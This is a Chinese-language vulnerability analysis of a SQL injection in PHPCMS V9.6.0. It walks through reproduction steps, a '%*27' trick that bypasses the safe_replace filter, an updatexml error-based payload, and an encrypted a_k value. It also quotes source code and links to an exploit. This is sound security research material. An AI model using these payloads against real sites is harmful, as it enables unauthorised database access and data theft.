0x01
此SQL注入漏洞與metinfo v6.2.0版本以下SQL盲注漏洞個人認為較為相似。且較為有趣,故在此分析並附上exp。
0x02
首先復現漏洞,環境為:
PHP:5.4.45 + Apache
mysql:5.5.53
PHPCMS:V9.6.0-UTF-8
Microsoft Windows 7 旗艦版 OS 版本: 6.1.7601 Service Pack 1 Build 7601
此漏洞復現分三個步驟:
第一步:獲取 siteid
訪問:/index.php?m=wap&a=index&siteid=1
可以從返回包中獲取siteid的值,以下復現過程個人使用管理員cookie,所以並非使用siteid,siteid值具體作用請查看此文末尾exp,此處不再贅述。
第二步:獲取加密后的payload
明文payload:aid=1&src=%26id=1%*27%*20and%*20updatexml%281%2Cconcat%280x7e%2C%28select%*20%40%40version%29%2C0x7e%29%2C1%29%23%26m%3D1%26modelid%3D1%26f%3D1%26catid%3D1
POST訪問:/phpcmsv9.6.0/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=1%*27%*20and%*20updatexml%281%2Cconcat%280x7e%2C%28select%*20%40%40version%29%2C0x7e%29%2C1%29%23%26m%3D1%26modelid%3D1%26f%3D1%26catid%3D1
POST參數:userid_flash=112312313acasdc(隨便填寫,但不能為空)
此處可以得到加密后的payload
第三步:注入
獲取到加密后的payload之后可直接帶入程序中,獲取所需的數據。
訪問:/phpcmsv9.6.0/index.php?m=content&c=down&a=init&a_k=d55eWp8mOkWM7ta1tz2mcrsAJ1CPYLCD3yXSZGWdtn_PqXIgq1bdB3A9EkhHVo5Hr2nLgscNBKBHCws-gP9My5gp2R0ac_90v3Rj3Ghfk6k6khao1XYuy5qg_c4wKvOKhAUhRVFJBIQNmPNmxnk_GNpjskYSgV1nUxCDtkd-N0v-yiMrEWMVaHqjbef4g5zHXGCbSS07hv5XLYr3kUo
注入成功
0x03
漏洞分析:
首先漏洞產生點位於:\phpcms\modules\content\down.php 的 init 函數中
注入點位於第26行:$rs = $this->db->get_one(array('id'=>$id)); 再看get_one函數:
可以看到此處執行SQL語句。那么回過頭再看 $id 的來源是否可控。可以看到第17行parse_str函數。此函數作用是取出變量。那么再看$a_k是否可控。可以看到第14行,
$a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));
這條語句為解密GET傳過來的數據,由此可以想到,如果將加密后的惡意數據通過GET傳入,在經過解密,並且沒經過任何過濾,直接拼接入SQL語句,由此漏洞產生。
那么此處只需查看sys_auth這個加密函數,看是否可逆。
function sys_auth($string, $operation = 'ENCODE', $key = '', $expiry = 0) { $ckey_length = 4; $key = md5($key != '' ? $key : pc_base::load_config('system', 'auth_key')); $keya = md5(substr($key, 0, 16)); $keyb = md5(substr($key, 16, 16)); $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ''; $cryptkey = $keya.md5($keya.$keyc); $key_length = strlen($cryptkey); $string = $operation == 'DECODE' ? base64_decode(strtr(substr($string, $ckey_length), '-_', '+/')) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; $string_length = strlen($string); $result = ''; $box = range(0, 255); $rndkey = array(); for($i = 0; $i <= 255; $i++) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); } for($j = $i = 0; $i < 256; $i++) { $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } for($a = $j = $i = 0; $i < $string_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); } if($operation == 'DECODE') { if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) { return substr($result, 26); } else { return ''; } } else { return $keyc.rtrim(strtr(base64_encode($result), '+/', '-_'), '='); } }
此函數可以看出,倘若知道 $key 的值,便可逆,否則不可逆。由於此 key 並不固定。於是改變思路,現在需要找到一個將惡意數據加密后的地方,並且可以獲取,正好有一處為:set_cookie方法:
public static function set_cookie($var, $value = '', $time = 0) { $time = $time > 0 ? $time : ($value == '' ? SYS_TIME - 3600 : 0); $s = $_SERVER['SERVER_PORT'] == '443' ? 1 : 0; $var = pc_base::load_config('system','cookie_pre').$var; $_COOKIE[$var] = $value; if (is_array($value)) { foreach($value as $k=>$v) { setcookie($var.'['.$k.']', sys_auth($v, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s); } } else { setcookie($var, sys_auth($value, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s); } }
此函數倘若 $value 可控,那么 cookie 則可控。於是便有了加密后的 payload。此時全局搜索set_cookie,查找滿足條件的地方。可以找到有一個方法:swfupload_json 方法:
此處250行調用了set_cookie方法,查看$json_str是否可控,看到第243行,$json_str 為GET傳入的數據。再看safe_replace過濾函數:
可以看到會將GET的數據中 %20 ,%27,%2527等過濾。但是倘若如此構造payload:%*27 將此數據傳入,則safe_replace函數會先查找%27並過濾。但此數據沒有,在查找*並過濾,於是剩下的數據為%27,繞過成功。於是可以構造payload
明文:aid=1&src=1&id=1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)# urlencode:aid=1&src=%26id=1%*27%*20and%*20updatexml%281%2Cconcat%280x7e%2C%28select%*20%40%40version%29%2C0x7e%29%2C1%29%23
此時傳入此可繞過過濾函數的payload並獲取加密后的cookie
上圖中dwQXH_att_json的值即為加密后的payload。然后獲取此payload將起賦值給$a_k。並查看其值:
此時可以看到惡意數據被成功傳入。但是在down.php中還有幾個條件:
可以看到,$a_k變量中還必須有 $m,$modelid,$catid,$f 等4個變量,否則會出錯。於是重新構造payload
明文:aid=1&src=1&id=1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)#&m=1&modelid=1&catid=1&f=1 urlencode:aid=1&src=%26id=1%*27%*20and%*20updatexml%281%2Cconcat%280x7e%2C%28select%*20%40%40version%29%2C0x7e%29%2C1%29%23%26m%3D1%26modelid%3D1%26f%3D1%26catid%3D1
獲取加密后的payload:
然后傳入$a_k變量中。注入成功:
注:獲取不到set_cookie的值問題體現在構造函數中:
此處會判斷是否登錄,由於我是登錄后台之后復現,所以沒有發現此問題,在此致歉。該問題解決方法為1、登錄一次后台。 2、將sys_auth()函數下載到本地,任意加密一個值后,獲取加密后的值以POST方法傳入userid_flash,這樣也會獲取到set_cookie的值。
exp:https://www.cnblogs.com/Spec/p/10844822.html
exp僅供學習交流使用,請勿惡意攻擊他人網站。